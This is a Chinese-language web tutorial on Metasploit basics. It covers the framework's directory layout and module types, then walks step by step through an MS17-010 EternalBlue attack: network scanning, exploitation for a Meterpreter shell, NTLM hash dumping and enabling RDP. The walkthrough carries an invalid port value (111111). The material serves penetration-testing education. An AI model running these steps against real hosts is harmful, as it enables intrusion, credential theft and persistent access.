当前位置: 首页 > web >正文

MSF基础知识

更新 Metasploit​​:
sudo apt update && sudo apt upgrade metasploit-framework
安装目录
┌──(root㉿kali)-[~/桌面]
└─# which msfconsole                                                                
/usr/bin/msfconsole┌──(root㉿kali)-[/usr/bin]
└─# ls -l /usr/bin/msfconsole
lrwxrwxrwx 1 root root 28 2024年 2月13日 /usr/bin/msfconsole -> /etc/alternatives/msfconsole┌──(root㉿kali)-[/usr/bin]
└─# ls -l /etc/alternatives/msfconsole
lrwxrwxrwx 1 root root 42 2024年 2月13日 /etc/alternatives/msfconsole -> /usr/share/metasploit-framework/msfconsole                                                                                                                                                                                                     

及其路径为/usr/share/metasploit-framework/msfconsole
进入metasploit-framework

┌──(root㉿kali)-[/usr/share/metasploit-framework]
└─# ls
app     data  docs           Gemfile       lib                           modules     msfd   msf-json-rpc.ru  msfrpcd    msfvenom   plugins   ruby            script-password  scripts  vendor
config  db    documentation  Gemfile.lock  metasploit-framework.gemspec  msfconsole  msfdb  msfrpc           msfupdate  msf-ws.ru  Rakefile  script-exploit  script-recon     tools

主要进行来了解modules文件夹

1. modules/- ​​模块库(最重要的目录)​

这是 MSF 的“武器库”,所有的攻击、扫描、辅助功能都以模块的形式存放在这里。这是你作为渗透测试员最需要关注的目录。

​​exploits/​​: ​​漏洞利用模块​​。存放针对各种系统、服务、应用程序的漏洞利用代码。按目标系统分类(如 /windows/, /linux/, /multi/, /android/等)。这是发起攻击的“炮弹”。

​​payloads/​​: ​​有效载荷模块​​。用于生成在成功利用漏洞后执行的代码(即木马、后门)。例如 Meterpreter、Shellcode、单行命令等。msfvenom工具主要调用这里的模块。

​​auxiliary/​​: ​​辅助模块​​。不直接进行漏洞利用,但渗透测试中必不可少的功能集合。包括扫描器(端口、服务、漏洞)、嗅探器、爆破工具(HTTP, FTP, SSH 等)、信息收集工具(如 scanner/discovery/arp_sweep)。

post/​​: ​​后渗透模块​​。在已经获得一个会话(Session)之后,用于进行内网横向移动、权限提升、信息搜集、持久化驻留等操作。这是内网渗透的核心。

​​encoders/​​: ​​编码器模块​​。用于对 Payload 进行编码和混淆,目的是绕过杀毒软件(AV)和入侵防御系统(IPS)的检测,即​​免杀​​。

​​nops/​​: ​​空指令模块​​。生成空指令序列,在构造漏洞利用代码时用于提高稳定性和兼容性。

2. lib/- ​​库文件​​

MSF 的“大脑”和“骨架”。包含了框架运行所需的所有 Ruby 库文件。当你开发自定义模块或脚本时,需要调用这里的库。除非你做二次开发,否则一般不需要直接修改。

3. tools/- ​​独立工具脚本​​

存放一些非常实用且​​可以独立于 msfconsole运行​​的 Ruby 脚本。

​​经典工具​​:

pattern_create.rb:生成一段特殊的、不重复的字符串(De Bruijn 序列),用于在漏洞利用中精确定位返回地址(EIP/RIP)的偏移量。

pattern_offset.rb:根据崩溃时寄存器中的值,计算出自 pattern_create.rb生成的字符串的确切偏移量。

nasm_shell.rb:一个简单的 NASM 汇编 shell,用于快速将汇编指令转换为操作码(Opcode)。

4. scripts/- ​​脚本资源​​

主要包含 ​​Meterpreter​​ 和其他功能的脚本资源。这些脚本通常是在获得会话后,在 Meterpreter 内部使用 run命令来执行的(例如 run post/windows/gather/checkvm)。

5. plugins/- ​​插件​​

用于扩展 msfconsole本身的功能。加载插件后,可以在控制台内使用新的命令。例如 load nessus可以集成 Nessus 扫描器。

6. data/- ​​数据文件​​

存放 MSF 运行所需的各种静态数据文件,例如单词列表(用于爆破)、漏洞利用所需的特定模式数据、Shellcode 源等。

7. docs/& documentation/- ​​文档​​

官方文档和使用说明。

8. config/- ​​框架默认配置​​

MSF 框架本身的默认配置文件。​​注意​​:这与用户个人的配置文件 ~/.msf4/config不同,这里的配置会被系统更新覆盖。

核心可执行文件(命令入口)

这些是你在终端中直接调用的命令,它们都是 Ruby 脚本:

​​msfconsole​​: ​​主控制台​​。最强大、最常用的交互式界面。

​​msfvenom​​: ​​Payload 生成器​​。用于生成各种格式的有效载荷(木马文件),是制作免杀shell的核心工具。它结合了旧版的 msfpayload和 msfencode的功能。

​​msfdb​​: ​​数据库管理工具​​。用于初始化、启动、停止和状态查看与 MSF 配套的 PostgreSQL 数据库(msfdb init, msfdb start)。

​​msfd​​: ​​Metasploit 守护进程​​。提供一个远程的 MSF 控制台接口。

​​msfrpcd​​: ​​RPC 守护进程​​。提供远程程序调用接口,允许其他程序(如 Python 脚本)通过 API 与 MSF 交互。

​​msfupdate​​: ​​更新工具​​(现已基本被系统的 apt update取代)。
小结

路径/文件核心作用渗透阶段
modules/exploits/攻击突破口初始入侵
modules/payloads/生成后门木马载荷生成
modules/auxiliary/信息收集、扫描、爆破侦察
modules/post/横移、提权、权限维持后渗透(内网核心)
modules/encoders/代码混淆免杀绕过防御
tools/漏洞利用辅助计算exploit 开发
msfconsole总指挥中心全程
msfvenom木马制造工厂载荷生成

在实战中我们经常使用到modules里面的内容,以实战我们进行利用ms17漏洞为例

1.​​搜索模块​​:
msf6 > search ms17-010
2.​​使用扫描器进行网段探测​​ (非常重要,避免盲目攻击):
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.0/24 # 设置目标网段
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
3.​​利用漏洞获取Shell​​:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.10 # 设置具体目标IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.5  # 设置监听主机(你的Kali IP)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHPORT 111111   # 设置监听主机端口
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
4.后渗透 - 抓取哈希​​:
meterpreter > hashdump

• 作用​​: 从目标机器的SAM数据库中提取用户名和密码哈希(NTLM),用于后续的密码破解或PtH(Pass-the-Hash)攻击。

5.后渗透 - 启用RDP​​:
meterpreter > run post/windows/manage/enable_rdp
开始攻击
1. 搜索模块
`search ms17-010`
2. 扫描网段探测
`use auxiliary/scanner/smb/smb_ms17_010`
`set RHOSTS 192.168.1.0/24`
`run`
发现易受攻击主机?
3. 利用漏洞获取Shell
`use exploit/windows/smb/ms17_010_eternalblue`
`set RHOST 192.168.1.10`
`set LHOST 192.168.1.5`
`set LPORT 111111`
`exploit`
攻击终止
获取Meterpreter会话?
4. 后渗透 - 抓取哈希
`meterpreter > hashdump`
提取NTLM哈希
5. 后渗透 - 启用RDP
`meterpreter > run post/windows/manage/enable_rdp`
攻击成功
获得持久访问权限
内网横向移动
密码破解
权限维持
http://www.xdnf.cn/news/18773.html

相关文章:

  • Java 内存模型(JMM)与并发可见性:深入理解多线程编程的基石
  • Java:HashMap的使用
  • K8s 实战:六大核心控制器
  • 什么是 Nonce?
  • 电力电子simulink练习10:反激Flyback电路搭建
  • Linux 的 TCP 网络编程常用API
  • 图像均衡化详解:从直方图均衡到 CLAHE,让图片告别 “灰蒙蒙“
  • 高数 不定积分(4-3):分部积分法
  • 使用虚幻引擎5(UE5)开发类似《原神》的开放世界游戏:从技术架构到实践指南
  • 内网后渗透攻击--域控制器安全(1)
  • 单表查询-分析函数的应用
  • 重置MySQL数据库的密码指南(Windows/Linux全适配)
  • 在 Ruby 客户端里用 ES|QL
  • WSL-linux部署IndexTTS 记录(含本地 CUDA/cuDNN 编译依赖说明)
  • 鸿蒙 ArkTS 开发:Number、Boolean、String 三种核心基本数据类型详解(附实战案例)
  • 夜间跌倒检测响应速度↑150%!陌讯多模态骨架追踪算法在智慧养老院的落地实践
  • 手写MyBatis第32弹-设计模式实战:Builder模式在MyBatis框架中的精妙应用
  • Anaconda搭建keras开发环境小记
  • EP01:【DA】数据分析的概述
  • 【LeetCode】分享|如何科学的刷题?
  • 2025年渗透测试面试题总结-31(题目+回答)
  • 基于springboot的高校后勤保修服务系统/基于android的高校后勤保修服务系统app
  • 力扣594:最和谐子序列
  • ViLU: Learning Vision-Language Uncertainties for Failure Prediction
  • Ubuntu 服务器无法 ping 通网站域名的问题解决备忘 ——通常与网络配置有关(DNS解析)
  • 2025年8月第3周AI资讯
  • AI Prompt 的原理与实战
  • assert使用方法
  • 人形机器人——电子皮肤技术路线:光学式电子皮肤及MIT基于光导纤维的分布式触觉传感电子皮肤
  • 基于Spring Cloud与Kafka的支付金融场景面试问答解析